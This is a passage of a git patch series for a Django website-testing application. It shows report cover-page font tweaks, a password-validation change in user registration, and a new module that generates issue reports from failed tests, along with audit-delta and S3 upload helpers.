         self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 399ef9e8de012e86578362ebc8c465726ddd1219 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:31:11 -0600
Subject: [PATCH 581/752] testing report title calc

---
 app/api/utils/reporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 369485d7..5c3a3a0c 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,9 +194,9 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        font_size = max((30 * (19/len(self.page.page_url))), 12)
         self.c.setFont('Helvetica-Bold', 30)
-        self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From a6bef47194c26a21bbe6e9ad6aea31e1ff1a4b60 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:37:35 -0600
Subject: [PATCH 582/752] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 5c3a3a0c..8113d9b3 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 12)
+        font_size = max((30 * (15/len(self.page.page_url))), 10)
         self.c.setFont('Helvetica-Bold', 30)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 4548ba514fb038179d3f5f85e8c702df1bc61ec1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:38:34 -0600
Subject: [PATCH 583/752] testing calc

---
 app/api/utils/reporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 8113d9b3..9797581d 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,8 +194,8 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (15/len(self.page.page_url))), 10)
-        self.c.setFont('Helvetica-Bold', 30)
+        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 

From 36f67b457f96179da945c8ffc4074b1cb223a6ff Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:02:01 -0600
Subject: [PATCH 584/752] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 9797581d..baa568e5 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 32ffd4c451d476f08ab05f350feb36ce4e5a6909 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:12:12 -0600
Subject: [PATCH 585/752] testing

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index baa568e5..ad508d11 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -196,7 +196,7 @@ def cover_page(self) -> None:
         # page url
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
-        self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=55, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From 299cb4f4e218c0caa310516a49397ee88494571a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:16:04 -0600
Subject: [PATCH 586/752] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index ad508d11..77a36a74 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -196,7 +196,7 @@ def cover_page(self) -> None:
         # page url
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
-        self.draw_wrapped_line(text=self.page.page_url, length=55, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From 09b1aeb3898ef7d231ba03b0e8c456b8ee93b02e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:19:09 -0600
Subject: [PATCH 587/752] fixed title calc

---
 app/api/utils/reporter.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 77a36a74..768783d0 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -197,7 +197,6 @@ def cover_page(self) -> None:
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
-        # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:
         #     self.c.setFont('Helvetica-Bold', 30)

From 634a118d9ce6b39611f6f26a69f0255fe62ed656 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Jun 2024 11:54:48 -0600
Subject: [PATCH 588/752] fixing password issues

---
 app/api/v1/auth/services.py | 54 +++++++++++++++++++------------------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 008215c5..dc4bc5a5 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -74,36 +74,38 @@ def register_user(request: object) -> object:
         return Response(data=data, status=status.HTTP_409_CONFLICT)
     
     # validate password and create user
-    if validate_password(password) == None:
+    try:
+        # check password
+        if validate_password(password) == None:
             
-        # create user
-        user = User.objects.create(
-            username=username,
-            email=username,
-            first_name=first_name,
-            last_name=last_name
-        )
+            # create user
+            user = User.objects.create(
+                username=username,
+                email=username,
+                first_name=first_name,
+                last_name=last_name
+            )
 
-        # setting password
-        user.set_password(raw_password=password)
-        user.save()
-        
-        # generating JWTs
-        refresh = RefreshToken.for_user(user)
+            # setting password
+            user.set_password(raw_password=password)
+            user.save()
+            
+            # generating JWTs
+            refresh = RefreshToken.for_user(user)
 
-        # generate API token
-        api_token = Token.objects.create(user=user)
-        
-        # returning data
-        data = {
-            'user': UserSerializer(user).data,
-            'token': str(refresh.access_token),
-            'refresh': str(refresh),
-            'api_token': str(api_token.key)
-        }
-        return Response(data=data, status=status.HTTP_201_CREATED)
+            # generate API token
+            api_token = Token.objects.create(user=user)
+            
+            # returning data
+            data = {
+                'user': UserSerializer(user).data,
+                'token': str(refresh.access_token),
+                'refresh': str(refresh),
+                'api_token': str(api_token.key)
+            }
+            return Response(data=data, status=status.HTTP_201_CREATED)
 
-    else:
+    except:
         data = {'detail': 'Please choose a stronger password.'}
         return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
 

From 7aae9fd2fae2f16933ee730a777204a3c2681f10 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 10:39:15 -0600
Subject: [PATCH 589/752] adding Issuer generation

---
 app/api/admin.py              |   7 +
 app/api/models.py             | 120 ++++++++------
 app/api/utils/caser.py        |   9 ++
 app/api/utils/issuer.py       | 160 ++++++++++++++++++
 app/api/utils/tester.py       | 218 ++++++++++++++++++++-----
 app/api/v1/ops/serializers.py |  19 ++-
 app/api/v1/ops/services.py    | 297 ++++++++++++++++++++++++++++++++--
 app/api/v1/ops/urls.py        |  22 +--
 app/api/v1/ops/views.py       |  35 ++++
 app/scanerr/settings.py       |   6 +
 env/.env.dev.example          |   3 +
 notes/Kubernetes.md           |   2 +
 12 files changed, 779 insertions(+), 119 deletions(-)
 create mode 100644 app/api/utils/issuer.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 141e7060..50b2f862 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -116,6 +116,13 @@ class TestcaseAdmin(admin.ModelAdmin):
 
 
 
+@admin.register(Issue)
+class IssueAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'account', 'time_created', 'read',)
+
+
+
+
 @admin.register(Mask)
 class MaskAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'mask_id', 'active', 'time_created',)
diff --git a/app/api/models.py b/app/api/models.py
index 27135ca6..090bbf9d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -374,6 +374,8 @@ class Test(models.Model):
     pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan')
     post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan')
     score = models.FloatField(serialize=True, null=True, blank=True)
+    threshold = models.FloatField(serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=500, serialize=True, null=True, blank=True) # working, failed, passed
     component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default)
     html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs_delta = models.JSONField(serialize=True, null=True, blank=True)
@@ -390,50 +392,39 @@ def __str__(self):
 
 
 
-class Schedule(models.Model):
+class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
-    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
-    timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    begin_date = models.DateTimeField(default=datetime.now, serialize=True)
-    time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
-    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
-    crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
-    periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
-    status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
-    extras = models.JSONField(serialize=True, null=True, blank=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        if self.site is not None:
-            url = self.site.site_url
-            level = 'site'
-        if self.page is not None:
-            url = self.page.site.site_url
-            level = 'page'
-
-        return f'{url}_{self.task_type}_{level}'
+        return f'{self.name}' if len(self.name) > 0 else str(id)
 
 
 
 
-class Automation(models.Model):
+class Testcase(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch')
-    expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default)
-    actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
+    time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
+    passed = models.BooleanField(default=False, serialize=True)
+    steps = models.JSONField(serialize=True, null=True, blank=True)
+    configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.case.name}__testcase'
 
 
 
@@ -455,42 +446,71 @@ def __str__(self):
 
 
 
-class Case(models.Model):
+class Issue(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    trigger = models.JSONField(serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    details = models.TextField(serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=500, serialize=True, default='open')
+    affected = models.JSONField(serialize=True, null=True, blank=True)
+    labels = models.JSONField(serialize=True, null=True, blank=True)
+    read = models.BooleanField(default=False, serialize=True)
+
+    def __str__(self):
+        return f'{self.title if self.title is not None else self.id}__issue'
+
+
+
+
+class Schedule(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
+    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
+    timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
+    begin_date = models.DateTimeField(default=datetime.now, serialize=True)
+    time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
+    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
+    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
+    crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
+    periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
+    status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
+    extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.name}' if len(self.name) > 0 else str(id)
+        if self.site is not None:
+            url = self.site.site_url
+            level = 'site'
+        if self.page is not None:
+            url = self.page.site.site_url
+            level = 'page'
 
+        return f'{url}_{self.task_type}_{level}'
 
 
 
-class Testcase(models.Model):
+
+class Automation(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
+    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
-    passed = models.BooleanField(default=False, serialize=True)
-    steps = models.JSONField(serialize=True, null=True, blank=True)
-    configs = models.JSONField(serialize=True, null=True, blank=True)
+    schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch')
+    expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default)
+    actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
 
     def __str__(self):
-        return f'{self.case.name}__testcase'
+        return f'{self.name}'
+
 
 
-    
 
 class Mask(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 7bd5576c..843c24d1 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,7 @@
 from .driver_p import driver_init as driver_p_init
 from .driver_s import driver_init as driver_s_init
 from .driver_s import driver_wait, quit_driver
+from .issuer import Issuer
 import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
@@ -545,6 +546,10 @@ def run_s(self) -> None:
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
+
+        if not self.testcase.passed:
+            print('generating new Issue...')
+            Issuer(testcase=self.testcase).build_issue()
         
         return None
 
@@ -840,6 +845,10 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
+        if not self.testcase.passed:
+            print('generating new Issue...')
+            Issuer(testcase=self.testcase).build_issue()
+
         return None
 
     
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
new file mode 100644
index 00000000..6dda32d1
--- /dev/null
+++ b/app/api/utils/issuer.py
@@ -0,0 +1,160 @@
+from ..models import *
+from scanerr import settings
+import time, os, json, uuid, random, boto3
+
+
+
+
+
+
+class Issuer():
+    """ 
+    Generate new `Issue` for the passed 'test' or 'testcase'.
+
+    Expects: {
+        'test'        : object,
+        'testcase'    : object,
+    }
+
+    Use `Issuer.build_issue()` to generate new `Issue`
+
+    Returns -> None
+    """
+
+
+
+
+    def __init__(
+            self, 
+            test: object=None,
+            testcase: object=None,
+        ):
+         
+        # main objects
+        self.test = test
+        self.testcase = testcase
+
+
+    
+
+    def build_issue(self):
+        """ 
+        Creates a new `Issue` based on the info 
+        from the passed "self.test" or "self.testcase"
+
+        Expects: None
+
+        Returns -> `Issue` <obj>
+        """
+
+        # defining top level attrs
+        title = None
+        details = None
+        labels = None
+        account = self.test.page.account if self.test else self.testcase.account
+        trigger = {
+            'type': 'test' if self.test else 'testcase', 
+            'id': str(self.test.id) if self.test else str(self.testcase.id)
+        }
+        affected = {
+            'type': 'page' if self.test else 'site',
+            'id': str(self.test.page.id) if self.test else str(self.testcase.site.id),
+            'str': self.test.page.page_url if self.test else self.testcase.site.site_url
+        }
+
+        # defining detail components 
+        intro = ''
+        main_issue = ''
+        recommendation = ''
+
+        # building details, title, & labels 
+        # for testcase failure
+        if self.testcase:
+
+            # get first step that failed in testcase
+            failed_step = None
+            step_index = 0
+            for step in self.testcase.steps:
+                step_index += 1
+                if not step['action']['passed']:
+                    failed_step = step
+                    break
+
+            # build title
+            title = f'Testcase "{self.testcase.case_name}" Failed'
+
+            # build intro
+            intro = str(
+                f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
+                f' "{failed_step['action']['type']}".\n\n'
+            )
+            
+            # build main_issue
+            main_issue = str(
+                f'### Main Issue or Exception:\n' + 
+                f' ```{failed_step['action']['exception']}``` \n\n' +
+                f' <img src="{failed_step['action']['image']}" className="max-w-3/4"/> \n\n'
+            )
+
+            # build recommendation
+            recommendation = str(
+                f''
+            )
+
+        # building details, title, & labels 
+        # for test failure
+        if self.test:
+
+            # grabbing component scores
+            # which were less than the test.threshold
+            ordered_scores = []
+            for key in self.test.component_scores:
+                if self.test.component_scores[key] is not None:
+                    if self.test.component_scores[key] < self.test.threshold:
+                        ordered_scores.append({key: self.test.component_scores[key]})
+
+            # build components str
+            comp_str = str('| Component | Score |\n|-----|-----|')
+            for score in ordered_scores:
+                for key in score:
+                    comp_str += f'\n| {key} | {round(score[key], 2)} |'
+
+            # build title
+            title = f'Test Failed at {round(self.test.score, 2)}%'
+
+            # build intro
+            intro = str(
+                f'Test failed for the page "{self.test.page.page_url}" ' + 
+                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
+            )
+
+            # build main_issue
+            main_issue = str(
+                f'### Failing Components:\n' + 
+                f'{comp_str}'
+            )
+
+            # build recommendation
+            recommendation = str(
+                f''
+            )
+
+        # build details from components
+        details = intro + main_issue + recommendation
+
+        # creating new Issue
+        issue = Issue.objects.create(
+            account  = account,
+            title    = title,
+            details  = details,
+            labels   = labels, 
+            trigger  = trigger,
+            affected = affected
+        )
+        
+        # new Issue
+        return issue
+
+
+
+
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 17d3de6f..cf57fbfe 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,6 +3,7 @@
 from .imager import Imager
 from scanerr import settings
 from difflib import SequenceMatcher
+from .issuer import Issuer
 import os, json, random, \
 string, re, requests, uuid, boto3
 
@@ -348,14 +349,14 @@ def delta_lighthouse(self) -> dict:
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
-            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa'])
+            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
             
             # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
-            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa'])
+            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
 
             # try to get pre and post crux scores
             try:
@@ -512,6 +513,118 @@ def delta_yellowlab(self) -> dict:
 
 
 
+    def get_lh_audits_deltas(self, scores: dict) -> str:
+        # finds and records the changes in LH audit data
+        # then saves as .json file in s3 and returns 
+
+        # defaults
+        audits = {
+            "seo":[],
+            "accessibility": [],
+            "performance": [],
+            "pwa": [],
+            "best_practices": [],
+            "crux": []
+        }
+
+        # get pre & post audits
+        pre_scan_audits = requests.get(self.test.pre_scan.lighthouse['audits']).json()
+        post_scan_audits = requests.get(self.test.post_scan.lighthouse['audits']).json()
+
+        # deciding which categories to 
+        # compare based on score
+        cats = []
+        for key in scores:
+            # checking for a delta score
+            if '_delta' in key and 'average' not in key:
+                # check if delta not Zero
+                if scores[key] is not None:
+                    if float(scores[key]) != 0:
+                        cats.append(str(key).split('_delta')[0])
+
+        # compare each audit in each of the 
+        # selected categories
+        for cat in cats:
+            for audit in post_scan_audits[cat]:
+                found = False
+                for aud in pre_scan_audits[cat]:
+                    if audit == aud:
+                        found = True
+                        break
+
+                # record post_ audit if not 
+                # found in pre_
+                if not found:
+                    audits[cat].append(audit)
+
+        # save data at .json in s3
+        lh_audit_file_uri = self.save_data_to_s3(_data=audits)
+
+        print(f'LH audit deltas -> {lh_audit_file_uri}')
+
+        # return uri
+        return lh_audit_file_uri
+
+
+
+
+    def get_yl_audits_deltas(self, scores: dict) -> str:
+        # finds and records the changes in YL audit data
+        # then saves as .json file in s3 and returns 
+
+        # defaults
+        audits = {
+            "pageWeight":[],
+            "images": [],
+            "domComplexity": [],
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+
+        # get pre & post audits
+        pre_scan_audits = requests.get(self.test.pre_scan.yellowlab['audits']).json()
+        post_scan_audits = requests.get(self.test.post_scan.yellowlab['audits']).json()
+
+        # deciding which categories to 
+        # compare based on score
+        cats = []
+        for key in scores:
+            # checking for a delta score
+            if '_delta' in key and 'average' not in key:
+                # check if delta not Zero
+                if scores[key] is not None:
+                    if float(scores[key]) != 0:
+                        cats.append(str(key).split('_delta')[0])
+
+        # compare each audit in each of the 
+        # selected categories
+        for cat in cats:
+            for audit in post_scan_audits[cat]:
+                found = False
+                for aud in pre_scan_audits[cat]:
+                    if audit == aud:
+                        found = True
+                        break
+
+                # record post_ audit if not 
+                # found in pre_
+                if not found:
+                    audits[cat].append(audit)
+
+        # save data at .json in s3
+        yl_audit_file_uri = self.save_data_to_s3(_data=audits)
+
+        # return uri
+        return yl_audit_file_uri
+
+
+
+
     def update_site_info(self, test: object) -> object:
         # updates associated Site with 
         # new Test data
@@ -539,6 +652,7 @@ def update_site_info(self, test: object) -> object:
             site.info['latest_test']['time_created'] = str(test.time_created)
             site.info['latest_test']['time_completed'] = str(test.time_completed)
             site.info['latest_test']['score'] = site_avg_test_score
+            site.info['latest_test']['status'] = test.status
             site.save()
 
         # returning updated site
@@ -559,6 +673,7 @@ def update_page_info(self, test: object) -> object:
         page.info['latest_test']['time_created'] = str(test.time_created)
         page.info['latest_test']['time_completed'] = str(test.time_completed)
         page.info['latest_test']['score'] = (round(test.score * 100) / 100)
+        page.info['latest_test']['status'] = test.status
         page.save()
 
         # return updated page
@@ -567,6 +682,36 @@ def update_page_info(self, test: object) -> object:
 
 
 
+    def save_data_to_s3(self, _data: dict) -> str:
+        # Saves passed data as an s3 object and 
+        # returns the remote uri as a str
+
+        # save _data s3 json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(_data, fp)
+        
+        # upload to s3 and return url
+        data_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        data_file_uri = f"{root_path}/{remote_path}"
+    
+        # upload to s3
+        with open(data_file, 'rb') as data:
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+
+        # remove local copy
+        os.remove(data_file) 
+
+        # return uri
+        return data_file_uri
+
+
+
+
     def run_test(self, index: int=None) -> object:
         """ 
         Runs all the test components specified in the `Test`
@@ -636,25 +781,8 @@ def run_test(self, index: int=None) -> object:
                     "post_micro_delta": delta_html_data['post_micro_delta'],
                 }
 
-                # save html_delta s3 json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(html_delta_context, fp)
-                
-                # upload to s3 and return url
-                html_delta_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                html_delta_uri = f"{root_path}/{remote_path}"
-            
-                # upload to s3
-                with open(html_delta_file, 'rb') as data:
-                    self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(html_delta_file)
-
+                # save and get s3 object uri
